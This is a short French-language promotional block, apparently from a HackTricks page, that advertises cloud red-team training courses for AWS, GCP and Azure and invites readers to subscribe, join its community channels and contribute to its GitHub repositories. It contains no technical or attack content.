HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

